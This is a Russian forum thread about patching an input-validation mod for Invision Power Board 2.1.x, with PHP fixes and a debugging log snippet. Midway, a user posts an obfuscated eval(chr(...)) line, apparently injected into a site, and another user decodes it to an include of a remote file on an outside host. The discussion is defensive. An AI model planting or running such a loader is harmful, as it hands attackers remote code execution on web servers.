Перейти к контенту

[2.1.x]Advanced input data verifier


Рекомендуемые сообщения

Arhar, всё правильно, так и есть.

Файл /sources/action_public/search.php, найти код:

 

			$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );

 

заменить на:

			$this->output = preg_replace( "#(value=[\"']".intval($this->ipsclass->input['lastdate'])."[\"'])#i", "\\1 selected='selected'", $this->output );

 

)

Ссылка на комментарий
Поделиться на других сайтах

  • Ответы 97
  • Создана
  • Последний ответ

Лучшие авторы в этой теме

Лучшие авторы в этой теме

Спасибо, ребят, за ответ. :D

А чтобы мне избежать взлома подобного рода, достаточно сделать это:

Файл /sources/action_public/search.php, найти код:

 

			$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );

 

заменить на:

			$this->output = preg_replace( "#(value=[\"']".intval($this->ipsclass->input['lastdate'])."[\"'])#i", "\\1 selected='selected'", $this->output );

Так?

Ссылка на комментарий
Поделиться на других сайтах

кстати, кто эначит что это значит? а то я не в кукурсе, но выглядит стремно....

eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(107). chr(115). chr(105). chr(101). chr(103). chr(105). chr(103). chr(111). chr(115). chr(99). chr(105). chr(46). chr(104). chr(111). chr(116). chr(110). chr(101). chr(119). chr(115). chr(46). chr(112). chr(108). chr(47). chr(102). chr(105). chr(108). chr(101). chr(115). chr(47). chr(114).chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //

include "http://ksiegigosci.hotnews.pl/files/r.txt"

Офффтоп. А чем можно так же как и ты расщифровывать такие вещи? Или ты вручную по 1 все рашифровывал?

Ссылка на комментарий
Поделиться на других сайтах

Офффтоп. А чем можно так же как и ты расщифровывать такие вещи? Или ты вручную по 1 все рашифровывал?

Функция chr возвращает символ по его ascii коду. Расшифровать можно очень просто - либо скачать декриптор. Либо создать пхп-файл с кодом:

<?
//$chars=всю строку символов
$chars= chr(chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(107). chr(115). chr(105). chr(101). chr(103). chr(105). chr(103). chr(111). chr(115). chr(99). chr(105). chr(46). chr(104). chr(111). chr(116). chr(110). chr(101). chr(119). chr(115). chr(46). chr(112). chr(108). chr(47). chr(102). chr(105). chr(108). chr(101). chr(115). chr(47). chr(114).chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32);

echo $chars;
?>

При запуске он переведет весь код в символы. Итог:

 include "http://ksiegigosci.hotnews.pl/files/r.txt";/*

Ссылка на комментарий
Поделиться на других сайтах

  • 3 недели спустя...

Vic'er, добрый Vic'er, плиз, плиз исправь, прошу, думаю многим людям это пригодится!

 

Vic'er, только что нашел баг... как я рад что его нашел, думал что у меня или датабаза странным образом глючная, или враги наслали черную магию; в общем такой баг:

 

В последней ibProArcade v3.2.0 Final (тут http://www.ibresource.ru/db/795/ ) невозможен переход на index.php?autocom=arcade&p=settings, index.php?autocom=arcade&p=hof или любую другую страницу отличную от главной.

 

Буду благодарен если исправишь!

 

Спасибо :D;)

Ссылка на комментарий
Поделиться на других сайтах

попробуйте в суперфайле заменить

'p' => array('rule' => "/^([0-9]+)$/", 'default' => 0),

на

'p' => array('rule' => "/^([a-zA-Z0-9\-_]+)$/", 'default' => ""),

не претендую на решение..

Ссылка на комментарий
Поделиться на других сайтах

Архар,

да выше написанный тобой пост исправляет ошибку. Подтверждаю.

 

Появилась небольшая проблемка, иногда в аркадах при сохранении набранных очков вместо того чтобы нормально сохранится редиректом 'Score Saved', я перекидываюсь на главную страницу форума и всё. Можешь что подсказать как исправить это?

Ссылка на комментарий
Поделиться на других сайтах

найди способ просмотреть строку запроса, которую посылает игра при окончании

я смотрел, все что нашел по поводу очков это $this->ipsclass->input['gscore'], но может быть еще один параметр, который фильтруется суперфайлом

Ссылка на комментарий
Поделиться на других сайтах

добавте в файл in_data_rules.php логирование и посмотрите, что он режет:

 

найти:

				return isset( $g_in_data_rules[$in_key]['default'] ) ? $g_in_data_rules[$in_key]['default'] : "";

 

выше:

				if ($in_value) {
				$handle = fopen (ROOT_PATH.'in_data_rules_log.temp', 'a+'); 
				fwrite($handle, "===".date('Y-m-d H:i:s')."===\n".$in_key."=>".$in_value."\n");
				fclose($handle);
			}

 

после того, как полазите по страницам вашего мода,

в корне форума появится файлик in_data_rules_log.temp, вот его содержимое и покажите (только не забудте потом вернуть in_data_rules.php в первоначальное состояние:D )

Ссылка на комментарий
Поделиться на других сайтах

Лазию, а файлика всё нет и нет. =)

он будет создан при первом срабатывании защиты, то есть в том случае, когда он получит значение, отличное от ожидаемого.

 

===добавлено====

хотя... создайте в корне форума пустой файлик с именем in_data_rules_log.temp и задайте ему ЧМОД 777

Ссылка на комментарий
Поделиться на других сайтах

  • 1 месяц спустя...

День добрый!

Подскажите, пожалуйста, по поводу мода - не совпадают исходные коды.

 

В руководстве по установке в качестве исходного кода functions.php стоит:

 

	/*-------------------------------------------------------------------------*/
// Cookies, cookies everywhere and not a byte to eat.				
/*-------------------------------------------------------------------------*/  

function my_getcookie($name)
{
	global $ibforums;

	if ( isset($_COOKIE[$this->vars['cookie_id'].$name]) )
	{
		if ( ! in_array( $name, array('topicsread', 'forum_read', 'collapseprefs') ) )
		{
			return $this->clean_value(urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]));
		}
		else
		{
			return urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]);
		}
	}
	else
	{
		return FALSE;
	}
}

/*-------------------------------------------------------------------------*/
// Makes incoming info "safe"			  
/*-------------------------------------------------------------------------*/

 

 

В моем файле (v.2.0.2) код следующий:

 

	/*-------------------------------------------------------------------------*/
// Cookies, cookies everywhere and not a byte to eat.				
/*-------------------------------------------------------------------------*/  

function my_getcookie($name)
{
	global $ibforums;

	if (isset($_COOKIE[$ibforums->vars['cookie_id'].$name]))
	{
		return urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]);
	}
	else
	{
		return FALSE;
	}
}

/*-------------------------------------------------------------------------*/
// Makes topics read or forum read cookie safe		 
/*-------------------------------------------------------------------------*/
/**
* Makes int based arrays safe
* XSS Fix: Ticket: 243603
* Problem with cookies allowing SQL code in keys
*
* @param	array	Array
* @return	array	Array (Cleaned)
* @since	2.1.4(A)
*/
function clean_int_array( $array=array() )
{
	$return = array();

	if( !is_array($array) OR count($array) < 1 )
	{
		return $return;
	}

	foreach( $array as $k => $v )
	{
		$return[ intval($k) ] = intval($v);
	}

	return $return;
}

/*-------------------------------------------------------------------------*/
// Makes incoming info "safe"			  
/*-------------------------------------------------------------------------*/

 

Похоже, что тут уже до меня было выполненно обновление безопасности предыдущим хозяином? Или что это? Я в php ни в зуб ногой, чистый copy-paste программер :D

 

Что мне делать? Менять как есть, менять частично или вообще лучше ничего не трогать?

Заранее спасибо!

 

 

++++++++++++++++++

 

Посмотрел обновления - действительно, это обновление от 5.1.2006

 

И все же, как лучше поступить?

Ссылка на комментарий
Поделиться на других сайтах

  • 2 недели спустя...

Когда установил мод - не открывались страницы с темами. Мод удалил.

Сейчас не открывается страница с Личными данными у всех пользователей форума.

Что делать?!

Ссылка на комментарий
Поделиться на других сайтах

Та помогите кто-то!

 

Это ж блин капец. Из-за этого мода полетела важная часть форума!

 

КАК ИСПРАВИТЬ ЭТО?!

Ссылка на комментарий
Поделиться на других сайтах

КАК ИСПРАВИТЬ ЭТО?!

вернуть бекап исправленных файлов на место, в случае отсутствия бекапа как такового, следать Brain Level Up.

Ссылка на комментарий
Поделиться на других сайтах

в случае отсутствия бекапа как такового, следать Brain Level Up.

Можно узнать об этом поподробнее?

Brain Level Up это как и где? Версия форума 2.1.7.

Ссылка на комментарий
Поделиться на других сайтах

добавте в файл in_data_rules.php логирование и посмотрите, что он режет:

 

найти:

				return isset( $g_in_data_rules[$in_key]['default'] ) ? $g_in_data_rules[$in_key]['default'] : "";

 

выше:

				if ($in_value) {
				$handle = fopen (ROOT_PATH.'in_data_rules_log.temp', 'a+'); 
				fwrite($handle, "===".date('Y-m-d H:i:s')."===\n".$in_key."=>".$in_value."\n");
				fclose($handle);
			}

 

после того, как полазите по страницам вашего мода,

в корне форума появится файлик in_data_rules_log.temp, вот его содержимое и покажите (только не забудте потом вернуть in_data_rules.php в первоначальное состояние:D )

 

а как расшифровать содержимое лога, вот для примера мой лог

 

===2007-05-01 15:48:08===

forums=>all

===2007-05-01 19:07:00===

p=>-1

===2007-05-01 19:07:14===

p=>-1

===2007-05-01 19:07:17===

p=>-1

===2007-05-01 19:08:02===

p=>-1

Ссылка на комментарий
Поделиться на других сайтах

в вашем случае это означает, что в sources\in_data_rules.php нужно заменить

'forums' => array('rule' => "/^([0-9]+)$/", 'default' => 0),

на

'forums' => array('rule' => "/^([0-9]+|all)$/", 'default' => 0),

и

'p' => array('rule' => "/^([0-9]+)$/", 'default' => 0),

на

'p' => array('rule' => "/^([0-9]+|\-1)$/", 'default' => 0),

Ссылка на комментарий
Поделиться на других сайтах

  • 5 месяцев спустя...
совместимость с более поздними версиями (2.1.7 в частности) гарантировать не могу

жаль. а то ведь сей модуль под 2.1.7 в принципе прекрассно работает. пока нашёл один баг из-за которого откатился назад.

при поиске внутри любой темы выдаёт следующую ошибку:

Fatal error: Call to undefined method ipsclass::clean_value() in /home/mysite/htdocs/forums/sources/action_public/search.php on line 1351

Ссылка на комментарий
Поделиться на других сайтах


×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.